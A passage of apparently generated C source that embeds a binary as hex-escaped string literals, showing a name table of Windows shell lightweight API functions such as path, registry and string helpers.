\"\\x69\\x6F\\x6E\\x41\\x00\\x50\\x61\\x74\\x68\\x50\\x61\\x72\\x73\\x65\\x49\\x63\"   //ionA.PathParseIc\n/* 003720 */   \"\\x6F\\x6E\\x4C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\\x57\\x00\\x50\\x61\\x74\\x68\"   //onLocationW.Path\n/* 003740 */   \"\\x51\\x75\\x6F\\x74\\x65\\x53\\x70\\x61\\x63\\x65\\x73\\x41\\x00\\x50\\x61\\x74\"   //QuoteSpacesA.Pat\n/* 003760 */   \"\\x68\\x51\\x75\\x6F\\x74\\x65\\x53\\x70\\x61\\x63\\x65\\x73\\x57\\x00\\x50\\x61\"   //hQuoteSpacesW.Pa\n/* 003780 */   \"\\x74\\x68\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x50\\x61\\x74\\x68\\x54\\x6F\"   //thRelativePathTo\n/* 0037A0 */   \"\\x41\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x50\\x61\"   //A.PathRelativePa\n/* 0037C0 */   \"\\x74\\x68\\x54\\x6F\\x57\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\"   //thToW.PathRemove\n/* 0037E0 */   \"\\x41\\x72\\x67\\x73\\x41\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\"   //ArgsA.PathRemove\n/* 003800 */   \"\\x41\\x72\\x67\\x73\\x57\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\"   //ArgsW.PathRemove\n/* 003820 */   \"\\x42\\x61\\x63\\x6B\\x73\\x6C\\x61\\x73\\x68\\x41\\x00\\x50\\x61\\x74\\x68\\x52\"   //BackslashA.PathR\n/* 003840 */   \"\\x65\\x6D\\x6F\\x76\\x65\\x42\\x61\\x63\\x6B\\x73\\x6C\\x61\\x73\\x68\\x57\\x00\"   //emoveBackslashW.\n/* 003860 */   \"\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\\x42\\x6C\\x61\\x6E\\x6B\\x73\"   //PathRemoveBlanks\n/* 003880 */   \"\\x41\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\\x42\\x6C\\x61\\x6E\"   //A.PathRemoveBlan\n/* 0038A0 */   \"\\x6B\\x73\\x57\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\\x45\\x78\"   //ksW.PathRemoveEx\n/* 0038C0 */   \"\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\\x41\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\"   //tensionA.PathRem\n/* 0038E0 */   \"\\x6F\\x76\\x65\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\\x57\\x00\\x50\\x61\"   //oveExtensionW.Pa\n/* 003900 */   \"\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\\x46\\x69\\x6C\\x65\\x53\\x70\\x65\\x63\"   //thRemoveFileSpec\n/* 003920 */   \"\\x41\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6D\\x6F\\x76\\x65\\x46\\x69\\x6C\\x65\"   //A.PathRemoveFile\n/* 003940 */   \"\\x53\\x70\\x65\\x63\\x57\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x6E\\x61\\x6D\\x65\"   //SpecW.PathRename\n/* 003960 */   \"\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\\x41\\x00\\x50\\x61\\x74\\x68\\x52\"   //ExtensionA.PathR\n/* 003980 */   \"\\x65\\x6E\\x61\\x6D\\x65\\x45\\x78\\x74\\x65\\x6E\\x73\\x69\\x6F\\x6E\\x57\\x00\"   //enameExtensionW.\n/* 0039A0 */   \"\\x50\\x61\\x74\\x68\\x53\\x65\\x61\\x72\\x63\\x68\\x41\\x6E\\x64\\x51\\x75\\x61\"   //PathSearchAndQua\n/* 0039C0 */   \"\\x6C\\x69\\x66\\x79\\x41\\x00\\x50\\x61\\x74\\x68\\x53\\x65\\x61\\x72\\x63\\x68\"   //lifyA.PathSearch\n/* 0039E0 */   \"\\x41\\x6E\\x64\\x51\\x75\\x61\\x6C\\x69\\x66\\x79\\x57\\x00\\x50\\x61\\x74\\x68\"   //AndQualifyW.Path\n/* 003A00 */   \"\\x53\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\\x65\\x6D\\x50\\x61\\x74\\x68\\x41\\x00\"   //SetDlgItemPathA.\n/* 003A20 */   \"\\x50\\x61\\x74\\x68\\x53\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\\x65\\x6D\\x50\\x61\"   //PathSetDlgItemPa\n/* 003A40 */   \"\\x74\\x68\\x57\\x00\\x50\\x61\\x74\\x68\\x53\\x6B\\x69\\x70\\x52\\x6F\\x6F\\x74\"   //thW.PathSkipRoot\n/* 003A60 */   \"\\x41\\x00\\x50\\x61\\x74\\x68\\x53\\x6B\\x69\\x70\\x52\\x6F\\x6F\\x74\\x57\\x00\"   //A.PathSkipRootW.\n/* 003A80 */   \"\\x50\\x61\\x74\\x68\\x53\\x74\\x72\\x69\\x70\\x50\\x61\\x74\\x68\\x41\\x00\\x50\"   //PathStripPathA.P\n/* 003AA0 */   \"\\x61\\x74\\x68\\x53\\x74\\x72\\x69\\x70\\x50\\x61\\x74\\x68\\x57\\x00\\x50\\x61\"   //athStripPathW.Pa\n/* 003AC0 */   \"\\x74\\x68\\x53\\x74\\x72\\x69\\x70\\x54\\x6F\\x52\\x6F\\x6F\\x74\\x41\\x00\\x50\"   //thStripToRootA.P\n/* 003AE0 */   \"\\x61\\x74\\x68\\x53\\x74\\x72\\x69\\x70\\x54\\x6F\\x52\\x6F\\x6F\\x74\\x57\\x00\"   //athStripToRootW.\n/* 003B00 */   \"\\x50\\x61\\x74\\x68\\x55\\x6E\\x45\\x78\\x70\\x61\\x6E\\x64\\x45\\x6E\\x76\\x53\"   //PathUnExpandEnvS\n/* 003B20 */   \"\\x74\\x72\\x69\\x6E\\x67\\x73\\x41\\x00\\x50\\x61\\x74\\x68\\x55\\x6E\\x45\\x78\"   //tringsA.PathUnEx\n/* 003B40 */   \"\\x70\\x61\\x6E\\x64\\x45\\x6E\\x76\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x57\\x00\"   //pandEnvStringsW.\n/* 003B60 */   \"\\x50\\x61\\x74\\x68\\x55\\x6E\\x64\\x65\\x63\\x6F\\x72\\x61\\x74\\x65\\x41\\x00\"   //PathUndecorateA.\n/* 003B80 */   \"\\x50\\x61\\x74\\x68\\x55\\x6E\\x64\\x65\\x63\\x6F\\x72\\x61\\x74\\x65\\x57\\x00\"   //PathUndecorateW.\n/* 003BA0 */   \"\\x50\\x61\\x74\\x68\\x55\\x6E\\x6D\\x61\\x6B\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\"   //PathUnmakeSystem\n/* 003BC0 */   \"\\x46\\x6F\\x6C\\x64\\x65\\x72\\x41\\x00\\x50\\x61\\x74\\x68\\x55\\x6E\\x6D\\x61\"   //FolderA.PathUnma\n/* 003BE0 */   \"\\x6B\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x6F\\x6C\\x64\\x65\\x72\\x57\\x00\"   //keSystemFolderW.\n/* 003C00 */   \"\\x50\\x61\\x74\\x68\\x55\\x6E\\x71\\x75\\x6F\\x74\\x65\\x53\\x70\\x61\\x63\\x65\"   //PathUnquoteSpace\n/* 003C20 */   \"\\x73\\x41\\x00\\x50\\x61\\x74\\x68\\x55\\x6E\\x71\\x75\\x6F\\x74\\x65\\x53\\x70\"   //sA.PathUnquoteSp\n/* 003C40 */   \"\\x61\\x63\\x65\\x73\\x57\\x00\\x53\\x48\\x41\\x6C\\x6C\\x6F\\x63\\x53\\x68\\x61\"   //acesW.SHAllocSha\n/* 003C60 */   \"\\x72\\x65\\x64\\x00\\x53\\x48\\x41\\x75\\x74\\x6F\\x43\\x6F\\x6D\\x70\\x6C\\x65\"   //red.SHAutoComple\n/* 003C80 */   \"\\x74\\x65\\x00\\x53\\x48\\x43\\x6F\\x70\\x79\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\"   //te.SHCopyKeyA.SH\n/* 003CA0 */   \"\\x43\\x6F\\x70\\x79\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\"   //CopyKeyW.SHCreat\n/* 003CC0 */   \"\\x65\\x53\\x68\\x65\\x6C\\x6C\\x50\\x61\\x6C\\x65\\x74\\x74\\x65\\x00\\x53\\x48\"   //eShellPalette.SH\n/* 003CE0 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x74\\x72\\x65\\x61\\x6D\\x4F\\x6E\\x46\\x69\"   //CreateStreamOnFi\n/* 003D00 */   \"\\x6C\\x65\\x41\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x74\\x72\\x65\"   //leA.SHCreateStre\n/* 003D20 */   \"\\x61\\x6D\\x4F\\x6E\\x46\\x69\\x6C\\x65\\x45\\x78\\x00\\x53\\x48\\x43\\x72\\x65\"   //amOnFileEx.SHCre\n/* 003D40 */   \"\\x61\\x74\\x65\\x53\\x74\\x72\\x65\\x61\\x6D\\x4F\\x6E\\x46\\x69\\x6C\\x65\\x57\"   //ateStreamOnFileW\n/* 003D60 */   \"\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x74\\x72\\x65\\x61\\x6D\\x57\"   //.SHCreateStreamW\n/* 003D80 */   \"\\x72\\x61\\x70\\x70\\x65\\x72\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x54\"   //rapper.SHCreateT\n/* 003DA0 */   \"\\x68\\x72\\x65\\x61\\x64\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x68\"   //hread.SHCreateTh\n/* 003DC0 */   \"\\x72\\x65\\x61\\x64\\x52\\x65\\x66\\x00\\x53\\x48\\x44\\x65\\x6C\\x65\\x74\\x65\"   //readRef.SHDelete\n/* 003DE0 */   \"\\x45\\x6D\\x70\\x74\\x79\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x44\\x65\\x6C\\x65\"   //EmptyKeyA.SHDele\n/* 003E00 */   \"\\x74\\x65\\x45\\x6D\\x70\\x74\\x79\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x44\\x65\"   //teEmptyKeyW.SHDe\n/* 003E20 */   \"\\x6C\\x65\\x74\\x65\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x44\\x65\\x6C\\x65\\x74\"   //leteKeyA.SHDelet\n/* 003E40 */   \"\\x65\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x44\\x65\\x6C\\x65\\x74\\x65\\x4F\\x72\"   //eKeyW.SHDeleteOr\n/* 003E60 */   \"\\x70\\x68\\x61\\x6E\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x44\\x65\\x6C\\x65\\x74\"   //phanKeyA.SHDelet\n/* 003E80 */   \"\\x65\\x4F\\x72\\x70\\x68\\x61\\x6E\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x44\\x65\"   //eOrphanKeyW.SHDe\n/* 003EA0 */   \"\\x6C\\x65\\x74\\x65\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x53\\x48\\x44\\x65\\x6C\"   //leteValueA.SHDel\n/* 003EC0 */   \"\\x65\\x74\\x65\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x53\\x48\\x45\\x6E\\x75\\x6D\"   //eteValueW.SHEnum\n/* 003EE0 */   \"\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x53\\x48\\x45\\x6E\\x75\\x6D\\x4B\\x65\\x79\"   //KeyExA.SHEnumKey\n/* 003F00 */   \"\\x45\\x78\\x57\\x00\\x53\\x48\\x45\\x6E\\x75\\x6D\\x56\\x61\\x6C\\x75\\x65\\x41\"   //ExW.SHEnumValueA\n/* 003F20 */   \"\\x00\\x53\\x48\\x45\\x6E\\x75\\x6D\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x53\\x48\"   //.SHEnumValueW.SH\n/* 003F40 */   \"\\x46\\x72\\x65\\x65\\x53\\x68\\x61\\x72\\x65\\x64\\x00\\x53\\x48\\x47\\x65\\x74\"   //FreeShared.SHGet\n/* 003F60 */   \"\\x49\\x6E\\x76\\x65\\x72\\x73\\x65\\x43\\x4D\\x41\\x50\\x00\\x53\\x48\\x47\\x65\"   //InverseCMAP.SHGe\n/* 003F80 */   \"\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x52\\x65\\x66\\x00\\x53\\x48\\x47\\x65\\x74\"   //tThreadRef.SHGet\n/* 003FA0 */   \"\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x56\\x61\\x6C\\x75\"   //ValueA.SHGetValu\n/* 003FC0 */   \"\\x65\\x57\\x00\\x53\\x48\\x47\\x65\\x74\\x56\\x69\\x65\\x77\\x53\\x74\\x61\\x74\"   //eW.SHGetViewStat\n/* 003FE0 */   \"\\x65\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\\x79\\x42\\x61\\x67\\x00\\x53\\x48\\x49\"   //ePropertyBag.SHI\n/* 004000 */   \"\\x73\\x4C\\x6F\\x77\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x4D\\x61\\x63\\x68\\x69\\x6E\"   //sLowMemoryMachin\n/* 004020 */   \"\\x65\\x00\\x53\\x48\\x4C\\x6F\\x61\\x64\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\\x74\"   //e.SHLoadIndirect\n/* 004040 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x53\\x48\\x4C\\x6F\\x63\\x6B\\x53\\x68\\x61\"   //String.SHLockSha\n/* 004060 */   \"\\x72\\x65\\x64\\x00\\x53\\x48\\x4F\\x70\\x65\\x6E\\x52\\x65\\x67\\x53\\x74\\x72\"   //red.SHOpenRegStr\n/* 004080 */   \"\\x65\\x61\\x6D\\x32\\x41\\x00\\x53\\x48\\x4F\\x70\\x65\\x6E\\x52\\x65\\x67\\x53\"   //eam2A.SHOpenRegS\n/* 0040A0 */   \"\\x74\\x72\\x65\\x61\\x6D\\x32\\x57\\x00\\x53\\x48\\x4F\\x70\\x65\\x6E\\x52\\x65\"   //tream2W.SHOpenRe\n/* 0040C0 */   \"\\x67\\x53\\x74\\x72\\x65\\x61\\x6D\\x41\\x00\\x53\\x48\\x4F\\x70\\x65\\x6E\\x52\"   //gStreamA.SHOpenR\n/* 0040E0 */   \"\\x65\\x67\\x53\\x74\\x72\\x65\\x61\\x6D\\x57\\x00\\x53\\x48\\x51\\x75\\x65\\x72\"   //egStreamW.SHQuer\n/* 004100 */   \"\\x79\\x49\\x6E\\x66\\x6F\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x51\\x75\\x65\\x72\"   //yInfoKeyA.SHQuer\n/* 004120 */   \"\\x79\\x49\\x6E\\x66\\x6F\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x51\\x75\\x65\\x72\"   //yInfoKeyW.SHQuer\n/* 004140 */   \"\\x79\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x41\\x00\\x53\\x48\\x51\\x75\\x65\\x72\"   //yValueExA.SHQuer\n/* 004160 */   \"\\x79\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x57\\x00\\x53\\x48\\x52\\x65\\x67\\x43\"   //yValueExW.SHRegC\n/* 004180 */   \"\\x6C\\x6F\\x73\\x65\\x55\\x53\\x4B\\x65\\x79\\x00\\x53\\x48\\x52\\x65\\x67\\x43\"   //loseUSKey.SHRegC\n/* 0041A0 */   \"\\x72\\x65\\x61\\x74\\x65\\x55\\x53\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x52\\x65\"   //reateUSKeyA.SHRe\n/* 0041C0 */   \"\\x67\\x43\\x72\\x65\\x61\\x74\\x65\\x55\\x53\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\"   //gCreateUSKeyW.SH\n/* 0041E0 */   \"\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\\x45\\x6D\\x70\\x74\\x79\\x55\\x53\"   //RegDeleteEmptyUS\n/* 004200 */   \"\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\"   //KeyA.SHRegDelete\n/* 004220 */   \"\\x45\\x6D\\x70\\x74\\x79\\x55\\x53\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x52\\x65\"   //EmptyUSKeyW.SHRe\n/* 004240 */   \"\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\"   //gDeleteUSValueA.\n/* 004260 */   \"\\x53\\x48\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\\x55\\x53\\x56\\x61\\x6C\"   //SHRegDeleteUSVal\n/* 004280 */   \"\\x75\\x65\\x57\\x00\\x53\\x48\\x52\\x65\\x67\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\"   //ueW.SHRegDuplica\n/* 0042A0 */   \"\\x74\\x65\\x48\\x4B\\x65\\x79\\x00\\x53\\x48\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\"   //teHKey.SHRegEnum\n/* 0042C0 */   \"\\x55\\x53\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\"   //USKeyA.SHRegEnum\n/* 0042E0 */   \"\\x55\\x53\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\"   //USKeyW.SHRegEnum\n/* 004300 */   \"\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x45\\x6E\"   //USValueA.SHRegEn\n/* 004320 */   \"\\x75\\x6D\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x53\\x48\\x52\\x65\\x67\"   //umUSValueW.SHReg\n/* 004340 */   \"\\x47\\x65\\x74\\x42\\x6F\\x6F\\x6C\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\"   //GetBoolUSValueA.\n/* 004360 */   \"\\x53\\x48\\x52\\x65\\x67\\x47\\x65\\x74\\x42\\x6F\\x6F\\x6C\\x55\\x53\\x56\\x61\"   //SHRegGetBoolUSVa\n/* 004380 */   \"\\x6C\\x75\\x65\\x57\\x00\\x53\\x48\\x52\\x65\\x67\\x47\\x65\\x74\\x50\\x61\\x74\"   //lueW.SHRegGetPat\n/* 0043A0 */   \"\\x68\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x47\\x65\\x74\\x50\\x61\\x74\\x68\\x57\"   //hA.SHRegGetPathW\n/* 0043C0 */   \"\\x00\\x53\\x48\\x52\\x65\\x67\\x47\\x65\\x74\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\"   //.SHRegGetUSValue\n/* 0043E0 */   \"\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x47\\x65\\x74\\x55\\x53\\x56\\x61\\x6C\\x75\"   //A.SHRegGetUSValu\n/* 004400 */   \"\\x65\\x57\\x00\\x53\\x48\\x52\\x65\\x67\\x47\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\"   //eW.SHRegGetValue\n/* 004420 */   \"\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x47\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x57\"   //A.SHRegGetValueW\n/* 004440 */   \"\\x00\\x53\\x48\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x55\\x53\\x4B\\x65\\x79\\x41\"   //.SHRegOpenUSKeyA\n/* 004460 */   \"\\x00\\x53\\x48\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x55\\x53\\x4B\\x65\\x79\\x57\"   //.SHRegOpenUSKeyW\n/* 004480 */   \"\\x00\\x53\\x48\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x55\"   //.SHRegQueryInfoU\n/* 0044A0 */   \"\\x53\\x4B\\x65\\x79\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\"   //SKeyA.SHRegQuery\n/* 0044C0 */   \"\\x49\\x6E\\x66\\x6F\\x55\\x53\\x4B\\x65\\x79\\x57\\x00\\x53\\x48\\x52\\x65\\x67\"   //InfoUSKeyW.SHReg\n/* 0044E0 */   \"\\x51\\x75\\x65\\x72\\x79\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x53\\x48\"   //QueryUSValueA.SH\n/* 004500 */   \"\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x57\"   //RegQueryUSValueW\n/* 004520 */   \"\\x00\\x53\\x48\\x52\\x65\\x67\\x53\\x65\\x74\\x50\\x61\\x74\\x68\\x41\\x00\\x53\"   //.SHRegSetPathA.S\n/* 004540 */   \"\\x48\\x52\\x65\\x67\\x53\\x65\\x74\\x50\\x61\\x74\\x68\\x57\\x00\\x53\\x48\\x52\"   //HRegSetPathW.SHR\n/* 004560 */   \"\\x65\\x67\\x53\\x65\\x74\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x53\\x48\"   //egSetUSValueA.SH\n/* 004580 */   \"\\x52\\x65\\x67\\x53\\x65\\x74\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x53\"   //RegSetUSValueW.S\n/* 0045A0 */   \"\\x48\\x52\\x65\\x67\\x57\\x72\\x69\\x74\\x65\\x55\\x53\\x56\\x61\\x6C\\x75\\x65\"   //HRegWriteUSValue\n/* 0045C0 */   \"\\x41\\x00\\x53\\x48\\x52\\x65\\x67\\x57\\x72\\x69\\x74\\x65\\x55\\x53\\x56\\x61\"   //A.SHRegWriteUSVa\n/* 0045E0 */   \"\\x6C\\x75\\x65\\x57\\x00\\x53\\x48\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x56\"   //lueW.SHRegisterV\n/* 004600 */   \"\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x54\\x65\\x6D\\x70\\x6C\\x61\\x74\\x65\\x00\"   //alidateTemplate.\n/* 004620 */   \"\\x53\\x48\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x52\"   //SHReleaseThreadR\n/* 004640 */   \"\\x65\\x66\\x00\\x53\\x48\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x52\\x65\"   //ef.SHSetThreadRe\n/* 004660 */   \"\\x66\\x00\\x53\\x48\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x53\\x48\"   //f.SHSetValueA.SH\n/* 004680 */   \"\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x53\\x48\\x53\\x6B\\x69\\x70\"   //SetValueW.SHSkip\n/* 0046A0 */   \"\\x4A\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x00\\x53\\x48\\x53\\x74\\x72\\x44\\x75\"   //Junction.SHStrDu\n/* 0046C0 */   \"\\x70\\x41\\x00\\x53\\x48\\x53\\x74\\x72\\x44\\x75\\x70\\x57\\x00\\x53\\x48\\x55\"   //pA.SHStrDupW.SHU\n/* 0046E0 */   \"\\x6E\\x6C\\x6F\\x63\\x6B\\x53\\x68\\x61\\x72\\x65\\x64\\x00\\x53\\x74\\x72\\x43\"   //nlockShared.StrC\n/* 004700 */   \"\\x53\\x70\\x6E\\x41\\x00\\x53\\x74\\x72\\x43\\x53\\x70\\x6E\\x49\\x41\\x00\\x53\"   //SpnA.StrCSpnIA.S\n/* 004720 */   \"\\x74\\x72\\x43\\x53\\x70\\x6E\\x49\\x57\\x00\\x53\\x74\\x72\\x43\\x53\\x70\\x6E\"   //trCSpnIW.StrCSpn\n/* 004740 */   \"\\x57\\x00\\x53\\x74\\x72\\x43\\x61\\x74\\x42\\x75\\x66\\x66\\x41\\x00\\x53\\x74\"   //W.StrCatBuffA.St\n/* 004760 */   \"\\x72\\x43\\x61\\x74\\x42\\x75\\x66\\x66\\x57\\x00\\x53\\x74\\x72\\x43\\x61\\x74\"   //rCatBuffW.StrCat\n/* 004780 */   \"\\x43\\x68\\x61\\x69\\x6E\\x57\\x00\\x53\\x74\\x72\\x43\\x61\\x74\\x57\\x00\\x53\"   //ChainW.StrCatW.S\n/* 0047A0 */   \"\\x74\\x72\\x43\\x68\\x72\\x41\\x00\\x53\\x74\\x72\\x43\\x68\\x72\\x49\\x41\\x00\"   //trChrA.StrChrIA.\n/* 0047C0 */   \"\\x53\\x74\\x72\\x43\\x68\\x72\\x49\\x57\\x00\\x53\\x74\\x72\\x43\\x68\\x72\\x4E\"   //StrChrIW.StrChrN\n/* 0047E0 */   \"\\x49\\x57\\x00\\x53\\x74\\x72\\x43\\x68\\x72\\x4E\\x57\\x00\\x53\\x74\\x72\\x43\"   //IW.StrChrNW.StrC\n/* 004800 */   \"\\x68\\x72\\x57\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x43\\x41\\x00\\x53\\x74\\x72\"   //hrW.StrCmpCA.Str\n/* 004820 */   \"\\x43\\x6D\\x70\\x43\\x57\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x49\\x43\\x41\\x00\"   //CmpCW.StrCmpICA.\n/* 004840 */   \"\\x53\\x74\\x72\\x43\\x6D\\x70\\x49\\x43\\x57\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\"   //StrCmpICW.StrCmp\n/* 004860 */   \"\\x49\\x57\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x4C\\x6F\\x67\\x69\\x63\\x61\\x6C\"   //IW.StrCmpLogical\n/* 004880 */   \"\\x57\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x4E\\x41\\x00\\x53\\x74\\x72\\x43\\x6D\"   //W.StrCmpNA.StrCm\n/* 0048A0 */   \"\\x70\\x4E\\x49\\x41\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x4E\\x49\\x57\\x00\\x53\"   //pNIA.StrCmpNIW.S\n/* 0048C0 */   \"\\x74\\x72\\x43\\x6D\\x70\\x4E\\x57\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x57\\x00\"   //trCmpNW.StrCmpW.\n/* 0048E0 */   \"\\x53\\x74\\x72\\x43\\x70\\x79\\x4E\\x57\\x00\\x53\\x74\\x72\\x43\\x70\\x79\\x57\"   //StrCpyNW.StrCpyW\n/* 004900 */   \"\\x00\\x53\\x74\\x72\\x44\\x75\\x70\\x41\\x00\\x53\\x74\\x72\\x44\\x75\\x70\\x57\"   //.StrDupA.StrDupW\n/* 004920 */   \"\\x00\\x53\\x74\\x72\\x46\\x6F\\x72\\x6D\\x61\\x74\\x42\\x79\\x74\\x65\\x53\\x69\"   //.StrFormatByteSi\n/* 004940 */   \"\\x7A\\x65\\x36\\x34\\x41\\x00\\x53\\x74\\x72\\x46\\x6F\\x72\\x6D\\x61\\x74\\x42\"   //ze64A.StrFormatB\n/* 004960 */   \"\\x79\\x74\\x65\\x53\\x69\\x7A\\x65\\x41\\x00\\x53\\x74\\x72\\x46\\x6F\\x72\\x6D\"   //yteSizeA.StrForm\n/* 004980 */   \"\\x61\\x74\\x42\\x79\\x74\\x65\\x53\\x69\\x7A\\x65\\x57\\x00\\x53\\x74\\x72\\x46\"   //atByteSizeW.StrF\n/* 0049A0 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x4B\\x42\\x53\\x69\\x7A\\x65\\x41\\x00\\x53\\x74\\x72\"   //ormatKBSizeA.Str\n/* 0049C0 */   \"\\x46\\x6F\\x72\\x6D\\x61\\x74\\x4B\\x42\\x53\\x69\\x7A\\x65\\x57\\x00\\x53\\x74\"   //FormatKBSizeW.St\n/* 0049E0 */   \"\\x72\\x46\\x72\\x6F\\x6D\\x54\\x69\\x6D\\x65\\x49\\x6E\\x74\\x65\\x72\\x76\\x61\"   //rFromTimeInterva\n/* 004A00 */   \"\\x6C\\x41\\x00\\x53\\x74\\x72\\x46\\x72\\x6F\\x6D\\x54\\x69\\x6D\\x65\\x49\\x6E\"   //lA.StrFromTimeIn\n/* 004A20 */   \"\\x74\\x65\\x72\\x76\\x61\\x6C\\x57\\x00\\x53\\x74\\x72\\x49\\x73\\x49\\x6E\\x74\"   //tervalW.StrIsInt\n/* 004A40 */   \"\\x6C\\x45\\x71\\x75\\x61\\x6C\\x41\\x00\\x53\\x74\\x72\\x49\\x73\\x49\\x6E\\x74\"   //lEqualA.StrIsInt\n/* 004A60 */   \"\\x6C\\x45\\x71\\x75\\x61\\x6C\\x57\\x00\\x53\\x74\\x72\\x4E\\x43\\x61\\x74\\x41\"   //lEqualW.StrNCatA\n/* 004A80 */   \"\\x00\\x53\\x74\\x72\\x4E\\x43\\x61\\x74\\x57\\x00\\x53\\x74\\x72\\x50\\x42\\x72\"   //.StrNCatW.StrPBr\n/* 004AA0 */   \"\\x6B\\x41\\x00\\x53\\x74\\x72\\x50\\x42\\x72\\x6B\\x57\\x00\\x53\\x74\\x72\\x52\"   //kA.StrPBrkW.StrR\n/* 004AC0 */   \"\\x43\\x68\\x72\\x41\\x00\\x53\\x74\\x72\\x52\\x43\\x68\\x72\\x49\\x41\\x00\\x53\"   